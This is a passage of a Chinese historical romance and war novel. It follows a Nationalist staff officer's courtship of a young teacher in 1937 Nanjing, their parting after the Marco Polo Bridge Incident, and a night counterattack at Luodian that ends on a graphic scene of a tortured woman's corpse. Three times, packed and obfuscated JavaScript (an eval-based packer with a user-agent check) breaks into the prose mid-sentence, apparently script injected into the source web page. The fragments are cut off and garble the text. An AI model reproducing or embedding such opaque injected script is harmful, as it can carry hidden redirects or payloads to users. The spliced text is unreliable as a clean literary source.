“没事,这才刚开始,要依以往会把几只曲子串在在一起,这一圈下来得有近十分钟,我看徐雅正尽兴呢,我们出去,音乐一停就回来。” “嗯,那就依着之秋。” 来到花园,看星空甚好。 梦芸依着我起势,左手打开与我合掌,右手轻搭在我肩上,当我把手托在她后背时,脸上就起了红晕,眼见那呼吸就有些急促了。 “放松些,梦芸,你先听听着音乐,这鼓点,能听得出来吗?” “嗯,听出来了,是嘭-嚓-嚓、嘭-嚓-嚓,慢慢的。刚才在里头看他们跳过几回。” “真不错呀,你这乐感挺强的。这是圆舞曲,也叫华尔兹,这节奏慢的就是慢三步了,梦芸,你再想想,他们脚下是如何走呢?” “这个,我想想,对了,是男士前进,女士跟着后退,好像是走之字来着?慢三步,就是每隔三步走个之字?” “梦芸真是冰雪聪明呀!”我听了自是惊喜加赞叹。 “这是徐雅教的,来之前说先看看别人怎么走的,多看看就容易学会了。”梦芸说着说着呼吸就平静下来。 “这是学习的好方法呀!梦芸,那我们就开始了,之秋带着,梦芸可以先闭上眼睛,想着那走之字的样子,依着那节奏,一、二、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐雅和梦芸也笑着和张薇握了手,“张军医好!”梦芸神情似乎有点怪,只是那么一会儿,很快就恢复了正常。 “之秋,上回就没见着你来舞会。你去哪啦?” “这不是被处座抓着出公差么?” “哦,这么说是我这小老儿的错?之秋,张薇,你们两个跳上一曲。” 徐雅在一旁笑道:“今晚上还没见过之秋跳舞呢,我们俩来就想看看传说中的探戈王子。” 处长听了也笑了,“这样啊?我可听说你这位表弟是有固定舞伴的,之秋,你就和薇薇跳一曲探戈啦。侍应生---” 当探戈舞曲响起来的时候,整个舞池都就安静下来。 我走到空寂的场中央,微扬起下巴,缓慢的抬起了右手作出邀请,张薇在一众目光下随着音乐进入了场内,一个转身就搭在我肩上,我们俩先走了一组交叉,再转回来;我左手一提,张薇右脚往后一钩,顺势就来个单足旋转...... 一曲下来,掌声雷动。 舞会结束后,我送梦芸她们俩回旅馆。 我本想叫黄包车来着,可梦芸听说旅馆不远,也就隔着两个路口而已,提议说还是走走,顺便看看南京的夜景,徐雅立马附和,只好依着她们了。 三人并肩走着,徐雅很自觉的走到最里边位置,让我和梦芸并肩,大家边走边聊,很快就聊到刚才的舞会了。 “之秋,您那舞跳得真好。那曲子蛮好听的,只是哪曲调和节奏,还有那舞步都有些奇特呀。” “梦芸,这是当下很时髦的探戈舞曲,来自南美洲, Por Una Cabaza,翻译过来就是一步之遥;至于那舞步,确实有些特别,若想要跳好,不但要练熟的,还要有些默契才是。” “一步之遥?这名字也是特别呀。既然是泊洋来的,自是很时髦。之秋那么帅,舞又跳得好,想必好多女生都喜欢的。” “不是,这,梦芸你是夸我还是损我啊,你看我今晚也是不得已,被处长点名跳舞啊。” 梦芸笑了笑,正想说些什么,徐雅冷不丁的就冒出一句:“今晚被点名了,可是平常呢,平常没人点名吧?” “这,这都扯到哪去啦?”我一时间还转不过弯来,心说这徐雅怎么又来事了呢? “之秋,你就是个大傻瓜,还没看出来么?” “不是,这,徐雅,这看出什么呢?” 徐雅大乐:“某人晚间吃包子,那镇江陈醋倒多了呗。之秋,某人可是很在乎你哦!” 梦芸羞了个大红脸,“徐雅,你可别乱说。” “哈哈,我没说错呀。之秋,你觉得我们家梦芸如何呀?我这个当表嫂的,看人可一向是很准哦。梦芸,你不是有些话想和之秋说得么,你这扭扭捏捏的,我都急死啦。” “徐雅!人家不理你啦!”梦芸低下头去,快步就走开了。 “徐雅,梦芸这是?” “叫表嫂!傻小子,还不快追上去?” 9. 南京夜色 第二天一早,我便去旅馆接徐雅和梦芸她们。按昨晚的计划,上午去中山陵,下午去玄武湖。 在那个年代,外地人到了南京不外乎多去秦淮河、夫子庙一带,那是繁华之地,而且名声在外;至于其他景点也是各有所好,毕竟南京好玩、好逛的地方不少。可我听梦芸说来南京一定要去拜谒中山陵,这是她最大的愿望,徐雅意见也完全一致:顿时让这个自诩为革命军人的我对她们两位刮目相看。 我准备好了黄菊花,梦芸和徐雅都换了一身白色的连衣裙,乍一看还真如姐妹一般。 二哥听说是徐雅和她闺蜜来了,特别安排了一辆汽车。 车子沿着大道一路前行。不知怎的,平日里有说有笑的两姐妹却是闭口不语,只是看着两侧延绵不断的梧桐树。见气氛就有些沉闷,我便开口了:“这一路都是悬铃木,一说是六十多年前法国传教士朗怀仁带入南京,南京人因此称之为法国梧桐,民国十七年时全市种了两万多棵。” “原来这就是法国梧桐呀,看那枝干挺拔的,真是别有一番韵味。”徐雅接上话了,“之秋,为什么那个时候要种那么多呢?” “彼时是为了迎接先总理奉安大典。徐雅,梦芸,你们两看看这梧桐树,你们能看出什么来么?” 梦芸想了想,开口问道:“莫非这象征一种精神,坚韧不拔的精神?” 我点了点头,心中暗暗赞许。“是这个意思,先总理一生都为整个中华民族而奔走,至死不渝,吾辈青年自当谨遵总理遗训,奋发图强才是。” “之秋,那你就和我们说说这个陵园吧,待会上去后我和梦芸就不问了。” “好的,这中山陵于民国十五年开建,十八年六月一日举行奉安大典。待会我们下车后,沿山路前行一段,先到一个三门的牌坊,名为博爱坊,再往前走一段近500米的墓道,就到中山陵墓的正门了,那门上‘天下为公’的石额出自总理手迹。过了其后的碑亭,沿石阶而上,就到最高的平台,上面就是祭堂。从牌坊到祭堂共有石阶392级,象征着我民国三亿九千两百万同胞。” “祭堂南面有三座拱门,门额上分别刻有:民主、民权、民生。中门上嵌有总理手书‘天地正气’,其后是总理的大理石坐像,四周都是总理事迹的浮雕,其中还有《总理遗嘱》和总理手书的《建国大纲》。祭堂后是总理墓室,那汉白玉卧像下,便是总理长眠之地了......” 那日天气晴好,下车后我们三人一路无语。待到从总理墓室出来,我看到梦芸和徐雅眼里泪花点点;直到走完藏经楼,来到音乐台后,看到那中西合璧的建筑和半圆型场地,她们的情绪才高涨起来。 “之秋,看您对中山陵挺熟悉的,是经常来么?” “梦芸你这是问对了,我外地同学多,来南京都要来拜谒的;此外身为军人,也常参加一些活动,如一些会议,还有黄埔军校将士也时常来此合影的。” 徐雅听了便说:“想想一大批军人在此合影,必然很壮观的。可惜今日没能在此合影一张。” “今天周日,我们是早早上来了。这个点再回去博爱坊一带,或能见到些许摄影师为游人拍照。这也是怪我,以前参加活 动多了,拍集体照都是事先约好摄影师的,要不我们再倒回去看看?” “无妨无妨,带一些小小的遗憾,可以成为下回再来之理由啦。再说之秋你也是忙,早上能找车上来就挺好的,这要自己上来,还真是有些远。” “梦芸你这就开始为之秋说话啦?这车还不是他二哥公司的?不过想想一周后还要来,到时候可要好好合影几张。之秋,这个你要做好准备,届时别说表嫂没提醒你哦。” “好啦好啦,之秋你信中曾说南京这是‘春牛首,秋栖霞’,若是夏天消暑,可多是去玄武湖?”梦芸倒是为我解围了。 “这看个人感觉,有些人觉得钟山这一带消暑就挺好。说起玄武湖,东吴时宫城正北为玄武门,湖就位于宫城之后,只是当时孙权命名为‘蒋陵湖’而已,六朝时期此地为皇家园林和水军操练之地。明时划为禁地,明亡后平民百姓游湖才无阻拦,民国十七年改名为五洲公园了。一说玄武湖为江南三大名湖之首,个人觉得那湖光山色,应该不逊杭州西湖的。” “既然如此,我们还不快去?”徐雅一听便来劲了。 待游玩玄武湖,已是临近傍晚时分。 说一同去那家金陵春去吃西餐,已订好了位置;徐雅却推说有家在南京的大学同窗在家中请晚饭,或会迟一些回来,让我和梦芸自己去便是。然后她煞有介事的把梦芸“托付”给我,让我们玩开心,可以来一场“桨声灯影里的秦淮河 ”,自己叫了一辆黄包车就走了。 对此我是颇为感激,这趟南京之行明摆着就是徐雅策划好的,她为我和梦芸创造机会可真是不遗余力。 到了金陵春,订的位置正好可以看到秦淮河,梦芸眼中便有些惊喜。 晚餐点的是法式牛排,上了红酒。感觉上梦芸还是挺适应的,我们边吃边聊,到了最后,我和侍应生打了个招呼,侍应生便会意笑着去准备了。 当我远远看着那生日蛋糕出现后,便笑着对梦芸说道:“梦芸,待会有个小节目,需要先蒙上眼睛哦。” 梦芸有些疑惑,看着我微笑的样子,点了点头,任我拿过餐巾把眼睛蒙上。 侍应生把蜡烛点起,微笑着走开了。 “好啦,可以摘下蒙眼了。” “呀,生日蛋糕!”梦芸先是一小声惊呼,双手合掌在嘴边,脸色有些羞红起来,眼里似有晶莹的泪花闪动。 “梦芸,生日快乐!”然后我轻声哼起了生日歌。 “之秋!谢谢,谢谢你!”梦芸的泪水终于忍不住的掉了下来。 “客气了,客气了。这只是一个小小蛋糕而已。来,先许个愿,吹蜡烛,再切蛋糕,尝尝,好吃么?” 梦芸叉起一块蛋糕放入口中,“真好吃。”然后微笑着点了点头, “这是奶油加朱古力口味的,听说有些时髦。我也是第一次吃,平日里对这些没有什么概念,昨晚还特地打电话请教了大姐;还有那生日歌,也是昨晚现学的,听说这歌原来是《早上好》改编过来,去年才开始流行起来;我也是第一次唱,也不知唱得好不好?” 看着梦芸有些激动的样子,我倒是不好意思起来。 “挺好的,挺好的,蛋糕吃起来有些咖啡的味道,还有那生日歌,真好听。” 梦芸开心的说着,“对了,之秋,你怎么知道我的生日呢?” “徐雅昨日说的,这不准备有些匆忙了。呀!糟糕,真糟糕!” 我忽然想起大姐昨晚电话里说过以找一个有些特别、值得纪念的方式,我当时没完全反应过来,后边忙着学唱歌,现在想来,居然没准备生日礼物! “怎么啦?之秋?出了什么事啦?” “忘记准备生日礼物了!”我有些沮丧,“昨晚回去有些迟,然后忙着安排今日行程,找二哥借车;早间起来订饭店,买花什么的,怎么把这如此重要事项给忘了!” 梦芸“噗嗤”一声抿嘴笑了。 “梦芸,你笑什么呀?” “我呀,我呀,看你这有些傻傻的样子,好可爱的。”梦芸话才说完,似乎觉得哪儿不对,脸色很快就羞红起来;然后又急忙辩解道:“不是不是,梦芸的意思说今晚已经是很大的惊喜了,让之秋费心了。” “哪里哪里,做的不好,只是有些想着罢了。” 梦芸听后看了我一眼,又迅速低下头去,“梦芸,梦芸也是会时常想着。” 我自是心头一热,不由张口说道:“梦里和谁骑白马,是谁捧着新娘花?世人或笑我痴傻,嗨!让我如何不想她?” 梦芸抬起了头羞涩的看着我,久久说不出话来,末了冒出一句:“之秋!梦芸也好想多呆几天,可是明天一早要先回去了。” “知道的,你们明早几点的车呀?” “八点半的。” “哦,那个点我们是周一例会。我真想去车站送送你们。” “没事的,我和徐雅一周后还要来的,有的是机会。” 用完西餐,我和梦芸便一路慢慢走回去。那游船倒是没上,或许两人都觉得那游船上人多有些嘈杂,不如走路安静些,还可以多些时间待在一起。走着走着,不觉中两人之间的距离可是比昨天近了许多。 看着贡院这一带繁华夜景,我们边走边聊。 走了没多远,我见梦芸一手闲着,不知从哪来的勇气,大着胆子搭了上去,只觉得那纤纤细手初始时有些犹豫,然后便不再拒绝。 两人手牵手慢慢的走着,感觉好好。 有一段时间彼此都没有说话,梦芸不时会转过头来看我一会儿,略显羞红的脸上满是幸福的感觉,然后微微一笑,又转头往前看去;那微笑,在我心中便是最美的笑容。 走着走着,不觉得时间有些迟了。我便带着梦芸走进一条小巷,抄近路回旅馆,还好那一带有些熟,记得地图上是可以直达的。 一弯蛾眉残月,周边有点点繁星;微风中传来阵阵沁人心脾的幽香。 就见一户人家低矮的院墙上,几株银白的花朵兀自绽放着,如同仙女一般笑着,那修长的花瓣临风摇曳,那便是那仙女的长袖。 梦芸见了,不由一声惊叹:“呀,好美的昙花。” 我听了不由的问道:“梦芸识得此花?” “认识的,认识的。我们校园那小楼边就有几棵,没想到南京这花开得比我们那儿早。我见过开花的,都在夜里,可香了。只是花开只有几十分钟,让人有些怜惜,都说昙花一现,人生苦短的。” “是啊,世人说起昙花,在赞赏花儿的芬芳和美丽之外,总有些伤感,这也难怪。对了,梦芸听说过昙花的故事么?” “昙花也有故事?之秋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“或许悲剧会更让人记住吧。还是东坡先生说得好啊,但愿人长久,千里共婵娟。” 梦芸嘟起了嘴:“还千里共婵娟呢。之秋可真坏,人家看昙花好好的,之秋一个故事,就把人家弄得想哭了。” “咦?人家,梦芸什么时候成为人家啦?” “之秋是个大坏蛋!”梦芸有些脸红了,“就会欺负人!” “好啦好啦,我认罚行不?” “认罚?那行,之秋可是才子,就罚做诗,这个诗么,要与昙花有关的。” “这又罚上啦?要不要学曹丕,七步成诗呀?” “梦芸才不要七步成诗呢,梦芸只要罚之秋写诗,之秋,写不写呀?” “好吧好吧,让我想想”,我看着一身白裙的梦芸,还有婷婷绽放的昙花,在摇曳的光影里,是那样的美,忽然间灵光一现,有了,我边走边吟诵起来。 我是一朵昙花 开在寂静的长夜 用前世万千的挂牵 换来今生你的一眼 我静静地开着 清香几缕 你闻着 笑意几许 恰似今生的一吻 沉醉了你我 即便在黎明前凋零 我依然会笑意满满 我看到了你最美的欢颜 我哼着歌飘向云端 只因为这一生 有你 当我一口气读完了,梦芸却没声音。 回头一看,梦芸站在昙花前,一行泪已从脸上流下。 “梦芸,你这是怎么了?” 梦芸回过神来,掏出手绢擦拭了眼泪,拉住我在路边的石凳上坐下了。 “就是觉得好美。之秋,你这诗,是为梦芸作得么?” “自然是为梦芸作的。”看着梦芸那楚楚动人的样子,我又醉了。 “之秋愿做一朵昙花,生生世世,为梦芸开着的。” “不要不要,那梦芸来生若是记不起之秋,不就成了韦陀了。” 梦芸扭过头来看着我,深情的说着。 我看了看梦芸,看着那洁白的昙花,“没关系的,之秋会去找梦芸,就算梦芸记不起之秋,只要这花能为梦芸开放,之秋就心满意足了。” “之秋……”梦芸把头枕在我肩上。“人家才不要之秋变成昙花呢,昙花开得多短暂呀,人家只要,人家只要。” “只要什么?” “只要之秋有空时能多陪着梦芸,一起看看夕阳西下,明月星辰,梦芸就可以了。” 说着,梦芸脸上飞起一片红晕,然后站起来,一溜烟似的小跑开了。 我醒悟过来,急忙追了上去。 只是没有多远,便看见巷口,和马路那头的旅馆。 梦芸回过头来,招了招手,笑着说:“之秋,我走啦,真的走啦,晚安!我们一周后见!” “一周后见!” 10. 战前分别 八日早间6时不到,一阵刺耳铃声把我从睡梦中惊醒。 我们匆忙赶到处里,军情通报已出来了。今晨4时50分,日军向宛平县城猛烈攻击,并强占宛平东北沙岗,我第29军第37师219团奋起还击。 刚开始的时候,我们还以为“七七事变”会和“一二八事变”一样,很快会平息下去,谁也没想到这场事关中华民族生死存亡的全面大战就从卢沟桥爆发,而且一打就是八年,直接改变了历史的进程。 十日,日军已由天津、古北口、榆关等处陆续向卢沟桥集结。国民政府这边,委员长已向全国各地区发布秘密动员令,要求各地方、各部队做足准备,以防万一。军事委员会同时向平津地区继续调动兵力,试图阻止日军进一步入侵,可惜北上数个师后来竟被各种借口阻在河北南境。 十一日,日军炮轰宛平城,城内居民伤亡颇多。日军还出动飞机在各处侦察扫射,战事已扩大到八宝山、长辛店、廊坊、杨村等处;十二日下午八时,我华北冀察当局未经委员长及国民政府中央同意,全面接受了日军提出的一切无理条件。 依照国民政府年内制订的国防大纲,中日战争无可避免,但对日作战准备要到民国二十七年方能完成,事变爆发之时,我国军总兵力约为207万人,不足日本一半;我陆军主力为20个德械速成师及中央教导总队;军事物资储备不足,若全面开仗,武器弹药仅供支持3个月。我海军舰艇6.8万吨,仅为日本廿八分之一,我空军实际编制中可升空飞机296架,而且多为老旧机型,总量仅为日本的十分之一。 为确保首都南京安全,十三日我第2师补充旅一个团秘密进驻上海市区控制虹桥机场等战略要点;95师北上填防。 在十四日军委会相关会议上,国民政府已经担心华北丧失之可能,针对平汉、津浦路空隙过大,需继续调兵北上;但不应全用德械师,应夹杂其它部队。北方如不能坚守,就需要切实封锁长江,要开始撤除长江之灯塔、航标;海军设立封锁线,巩固吴淞口阵地,强化江阴要塞。 一连几天下来,总体方向和策略已明确,我们应战而不求战,以和谈争取备战时间;并遵照国防计划甲案,我陆军应集中兵力,准备歼灭上海的三千日军海军陆战队,海军堵塞江阴,全歼日军长江舰队。 十八日临近中午,我和数位同事接到命令,分批着便衣以公办或旅行名义前往上海集结待命,我和吴参谋乘午后的火车。 梦芸和徐雅已于十五日来南京,二哥帮她们订了中山路的首都饭店。 这几天我实在忙,整整三天都未在她们俩前露脸,只打过一个电话,现在又要出发,离火车开车不足3个半小时。这让我相当内疚,原本还计划陪梦芸玩上两三天,现在成为泡影,这该死的战争! 吴参谋见我犹豫,便说还是当面道个别好,毕竟上海战事未开;他帮我把行李带上,在火车站汇合即可。感激之下,我抱着试试看的心情打电话过去,梦芸在酒店,徐雅外出做头发去了。我一看还有些时间,匆匆赶往首都饭店。 我买了一大束白玫瑰,一路上冥思苦想。我真不知该如何说,涉及保密,很多事情不能说明,我这么匆匆一走,肯定会让梦芸扫兴的,但无论如何,身为军人,自当以国事为重。 忐忑中,我敲开了梦芸的房门。 “梦芸,真是不好意思,这么多天都没空来看你,今天来了,这里先道个歉啊。” 梦芸背着身子不理我,貌似有些委屈。“呦,大名鼎鼎的探戈王子,林长官,您终于有空来啦?您忙,想来就来,不想来就不用来,哪敢让您道歉啊。”说着声音就有些变了,肩头抖动着,好生可怜的模样,让人爱意丛生。 糟糕,我心里一个咯噔,梦芸这是生气了? 我匆忙走上前去,正想怎么安慰,梦芸一个小跳,然后猛的转过身来,满面春风:“这是梦芸在开玩笑呢!呀,好美的白玫瑰!是之秋送给梦芸的么?” 我忙把花递了过去,“喜欢不?” 梦芸把花捧在胸前闻了闻,闭上了眼睛,“好香啊!”然后又睁开了眼,笑着点点头,“好喜欢的!我最喜欢白玫瑰了!” 我一时不知该如何开口了。 梦芸捧着花又自我陶醉了片刻,这才有些不舍的把花放在小茶几上,全然没注意到我那尴尬的深情,自顾自的说着:“这几天陪着徐雅跑这跑那的,还好该置办的都差不多了,接下来可以放松放松了啦!之秋,我就觉得啊,徐雅那么赶,这是在给我们腾时间呐,之秋,你请好假啦?请了几天?加上今天周日,我们能一起玩上几天呀?” 我心里如刀割一般难受,可又不敢表现出来,然后就傻傻站着。 梦芸这才注意到我的不对,有些疑惑的问道:“之秋,你这是怎么啦?” 我深深吸了一口气,定下心来,“梦芸,不好意思哈,我,我要走了。” 我觉得自己的声音都有些颤抖了。 “要走了,这是什么意思?之秋这是要去哪儿?”梦芸想了想,“哈!我明白了,之秋这是逗人玩呢。之秋是要离开南京?是明天还是后天出发?去几天?带上梦芸可好?” 我听了想哭的心情都有了,“梦芸,我也不知道要去几天,也不能带你去,而且下午就出发。” “哈,不知要去几天,那就是好多好多天了,不能带我去,梦芸当然不用人带着,下午就出发......下午?就出发?!” 梦芸有些迷糊了,怯怯的走上前来,拉着我的手左右摇了摇,撒娇似的说道:“之秋,这不是真的,你说实话呀,这是和梦芸开玩笑的。” 我心颤着摇了摇头,“是真的,有紧急公务去上海,下午的火车,”我看看手表,“离开车还有2小时21分钟。” 梦芸脸色顿时就白了,“紧急公务?去上海?马上就走?是什么大事呀?和华北,和卢沟桥有关么?” 我能说什么?只能无奈的说道:“梦芸,真对不起。” “别,别,别这么说,你是军人么。只是华北战事未停,这就又要走,人家有些担心的。” “别太担心了,我只是正常公办,战事目前还在华北,并未波及江浙呀。” “这倒也是,只是这一走,不知什么时候回来?” “这个可说不好,等形势稳定下来,说不定就能回来啦。到时候,我一定去小城,去瞧瞧咱们的洪老师,顺便住上几天,好好的赔个不是。” 我故作一本正经样子说着,我明白会发生什么,但又不好说更不方便说,我也只能这样安慰梦芸了。 “还用得着赔不是啊?之秋又笑话人家了!梦芸知道,这事不能怪之秋的,要怪,就怪小日本鬼子。” “那些该死的小鬼子!他们太欺负人了。总有一天要把他们赶出去!对了,梦芸,现在局势不太稳定,答应之秋,你和徐雅还是早些回去为是,你在小城等着,等之秋回来。” “好吧,那之秋也要答应梦芸。今后叫人家,就叫人家芸儿吧。” 芸儿?那一刻我就觉得一股暖流在心头。 “之秋,将来这战会不会越打越大呀,若是打大了,你们会上战场么?”梦芸眼里,满是怯怯的眼神。 “这个吧,要看将来事态发展了,只要国家需要,我一定会上去的。至于什么时候上去,要等上边的命令的。” “那,那会不会到前线?会不会有危险呀?” “这个芸儿放心啦,我是参谋,通常和指挥部一起行动的,一般离前线有段距离,相对安全的,再说,我已老大不小了,懂得照顾自己的。” “人家只是担心么。”梦芸走到小茶几前捧起白玫瑰,看到镜子中的我,忽然就笑了。“人家明白啦,之秋这是在和芸儿开玩笑,一定是的!” 我听了一时有些摸不着头脑,这是怎么回事? “现在都中午了,之秋过来送花,说要出门,又没带行李,还穿着西装,所以人家就想,之秋这是和芸儿开玩笑的,是不是?” 梦芸一手捧着花,一手拉着我的袖子:“之秋,你说,是开玩笑的嘛。” 我顿时心里一酸,我的傻姑娘啊,这不是玩笑。大战就要来了! 这时,远处传来报童的叫卖声: “号外,号外,蒋委员长发表庐山讲话,中国再没有妥协的机会。谁放弃土地,谁就是千古罪人!”那报童顿时被好些人围上了。 梦芸往窗外一看,急的脸色变了。“之秋,这是真的么?” 我点点头,“这是真的,会是昨天开的,今天见报,形势是有些不乐观了。委员长说,如果战端一开,那就是地无分南北,年无分老幼,无论何人,皆有守土抗战之责任,皆应报定牺牲一切之决心。” “之秋,这战真的会打大么?我们这也会打起来么?” “这个不好说,芸儿,从九一八到现在,这么多年了,我们总不能老是让人欺负吧?现在小鬼子在华北闹事,做好打的准备,是必须的。咱们中国地大,人多,只要大家齐心,这场战我们一定会打赢的。至于我们这吧,这是南京呀,是国都。放心啦,小日本鬼子想打过来,没那么容易的。” “想想也是。之秋,你真的要走了么?你的行李呢?怎么穿西装呢?” “真的,我是军人,服从命令是天职。行李已托同事带往火车站,至于西装,上海这会儿还一片安宁。” “之秋这就要走了呀。”梦芸自顾自的说着,两行泪就流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之秋还没吃午饭?怎么不早说?还要赶火车。赶紧找个地方,随便吃点,芸儿肚子也饿了,芸儿还要去车站送之秋呢!” “那好啊,要不去福昌饭店?那儿高雅,咖啡还有牛排都挺好,速度也快。抓紧时间,应该还来得及。” “福昌饭店?那个六层楼的饭店?芸儿知道的,那天和徐雅逛中山路有经过的。不要不要,那儿东西好贵;再说,现在几点啦?还要赶到下关去乘火车,福昌饭店不是比这儿离火车站更远?那不是好赶呀,我们就随便吃点东西,要不去火车站附近吃也是可以的。” 我听了心里一阵酸楚,芸儿这个时候还在为我考虑。 “芸儿,你这是!嗨!之秋只是想请芸儿好好吃一顿,至于去火车站,我可以找二哥帮忙呀。” “这几天已够麻烦他啦,我们还是先去火车站吧,火车不等人的。” “真不去福昌?那儿环境真不错的。”我都不知道自己该说什么了。 “不去啦,芸儿想让之秋欠着吧。等打完战,之秋再请芸儿好不?对了,差点把一件重要事情给忘了。” 梦芸打开手提包,取出钢笔和便笺,边写边说:“我给徐雅留个字条,好让她知道我去火车站送人了。”然后又拿出一张相片,又在照片背后写着什么。写完后大大方方的把照片递了过来,笑着说:“这个送给之秋,这样无论之秋到哪儿,芸儿就陪着到哪儿了。” 我接过一看,照片上芸儿身着浅色带花旗袍,甜甜的笑着。照片背后写着几行秀丽小字:之秋惠存。芸儿,民国二十六年七月。 我收好相片,终于再也忍不住,一把抱紧梦芸。 梦芸把头贴在我胸前,羞涩的说:“能听之秋心跳的声音,真好。” 我紧紧搂着梦芸,亲吻她的额头,她的秀发,口中喃喃的说着:“我的好芸儿,等胜利了,之秋要芸儿听个够!” 到了下关,吃完午饭,梦芸执意要送上月台。那依依不舍的感觉,就觉得那段路好短,一下就到车厢门口。 我上了火车,吴参谋笑着把窗口位置让给我,我伸出头去,就见梦芸正焦急着一个一个的窗口寻我,寻到我后,就急忙上前拉着我的手,眼圈红红的,嘴角却挂着微笑,似有千言万语,却不知从何说起;又不时深情凝视,似要把我牢牢刻在脑海里一般,然后一切就仿佛融在这无言中。 汽笛响了,火车缓缓的动起来。 梦芸脸色一变,跟着火车小跑起来,喊了一声:“之秋,保重!”然后就哽噎了。 我看着她的身影停了下来,一手捂着嘴,一手拿着手绢不停地向我挥舞,直到彼此再也看不见对方。 11. 血战罗店 八月二十九日,上海,罗店。 淞沪会战已进行十三天了,我跟随18军第98师参加战斗。 八天前,日军精锐第3师团、第11师团全部及第1、第8师团各1旅团共5万余人在海空火力掩护下,在狮子林、川沙口、张华浜等处陆续登陆;即向我国军左翼军方面宝山、罗店,浏河一线进攻,淞沪会战进入艰苦的沿江阻击战阶段。 彼时国军在蕰藻浜以北,长江南岸的吴淞、宝山、月浦和杨行四点之间,构成一个棱形防御地带;其中吴淞至宝山为右侧,月浦至杨行为左侧,宝山至月浦为正面,罗店至刘行一线,则是整个防区的中心。 罗店镇地处江苏太仓、上海嘉定与宝山三县中间,若日军占领罗店,向南可达刘行、大场,威胁张华浜、蕴藻浜,让我坚守上海市区国军处于绝对劣势;若向西可到嘉定、安亭,占领宁沪铁路,切断国军一线部队退路。 罗店守军是我国军精锐第18军,也就是世人所说陈诚长官土木系下之王牌。我所在第98师防守宝山之至月浦镇一线,主力第11师据守新镇以西至罗店镇一线,第67师固守罗店镇及周家宅一线,第14师除2个团分别守备福山镇、浏河镇之外,主力集结于嘉定,第61师在刘家行地区为军预备队。 罗店一带地处平原且到处是棉田,地近长江口,土质疏松,无天然屏障可以依;加上我们仓促上阵,根本来不及构建有效防御工事,战壕既不深也不够坚固,容易暴露不说还缺乏重火力,只得凭着血肉之躯拼杀了。 连续几天下来,日军凭借强大的海陆空优势火力向我军阵地发起进攻。 每天天亮不久,日军飞机便开始轰炸扫射,观测气球同时升空,指示炮兵和舰炮狂轰以图摧毁我军地面工事;接着步兵与战车协同攻击,并发射烟幕弹蒙蔽我军视线,随后炮兵延伸攻击,阻绝我二线国军增援。只要战车突破我守军防线,就会以尖刀方式向内穿插突击,而步兵每前进到一个重要地段就构筑机枪掩体,以防我军反攻。 由于我国军官兵武器装备处于绝对劣势,重武器严重不足且弹药匮乏;只能利用夜战、近战消耗日军。我军所有的行动,包括反攻、袭扰、运输,甚至修筑工事都只能等到夜间。 如此战场上就出现诡异的循环:每天天亮后日军飞机、大炮开始发威,我军阵地丢失,黑夜一到我们发起反攻夺回阵地,整个战事就一直处于完全被动中;在敌人优势炮火下,我一线部队整连、整营浴血沙场,增援部队上去就如同添油,很多营、团甚至旅上去,不出几天就打个精光。 二十五日,我第11师、第67师反击罗店,第98师主力则由月浦向狮子林反攻。战至中午,我们成功收复狮子林。第67师这边,凌晨3时第201旅5000余人向尤家楼方向攻击前进,与陆家村、沈宅一带日军激战,战至上午9时许,日军向罗店以西进行反包围,危急时我第201旅长蔡炳炎少将率部反击,并亲率敢死队反冲锋;13时许蔡将军中弹牺牲,201旅大部分将士壮烈殉国。 二十八日夜接18军军长罗卓英命令,各部反攻。我第98师以主力集结罗店南面之长浜车站附近待命,以292旅由新镇向罗店东北地区攻击敌之侧背,目标是夺回五斗泾、界牌桥和土竹园阵地,并协同友军收复罗店。 这是我们师第二次反击罗店了,经此前数日血战,各部伤亡不小。 此番出击,我们从后方部队抽调补充不少官兵编入一线连队,杀奔前线。此前我因熟悉要塞要地防务一直跟随师部行动,彼时我们已收复狮子林炮台,宝山县城也有292旅安排583团3营固守;经过争取,我随584团出击。 是夜天降大雨,一片漆黑,道路泥泞难行。 各部连日苦战自是疲惫不堪,物资给养又严重不济;不少官兵是饿着肚子出击的。我也是晚饭没啥吃的,出发前在团部分了一块巴掌大的烧饼就冲进了雨夜。584团团长胡一是贵州安顺人,他不断给大伙打气,我们很难,但这个大雨如注的夜晚给了我们突袭成功的希望。 我们的突袭从顾家角西边开始,一切进行的非常顺利。 或因是雨夜,再加上连续多日反复争夺;劳累之下,日军戒备有所松懈。 在敲掉日军几个哨兵后,我军前锋官兵就直接摸进了日军战壕。一阵激烈的枪声和手榴弹爆炸声后,一些小鬼子在睡梦中就去见了他们的天照大神,其他的鬼子连滚带爬的往后撤。 战至拂晓时分,我们成功夺回了五斗径、界牌桥和土竹园。又经过多次血腥肉搏,我们攻克龚宅、潘宅、孟宅一线,杀入罗店镇东部之十里长街。 罗店镇内已是一片一片的断壁残垣和瓦砾碎石。路边,屋内,到处尸横累累,地面上雨水和着血水四处流淌。 我们一边攻击一边搜索残敌,同时也安排人员冒雨构筑简易工事,以防敌人的反扑。一些沿街小楼成为我们关注的重点,可以设置狙击手或火力点。 我和一队官兵进入一栋大屋,正欲上楼搜索时,就见一位士兵进来,向一位军官耳边说了几句,他顿时脸色大变,发疯似的跟着那位士兵冲了出去。 我离得最近,不知发生了什么,随手抓了一支步枪和几位战士跟了上去。 穿过几个院子,进了一个高宅,就见一赤身裸体的短发女子呈大字一般被吊绑在两扇木门之间,浑身上下伤痕累累,胸前是两个巨大的血窟窿...... 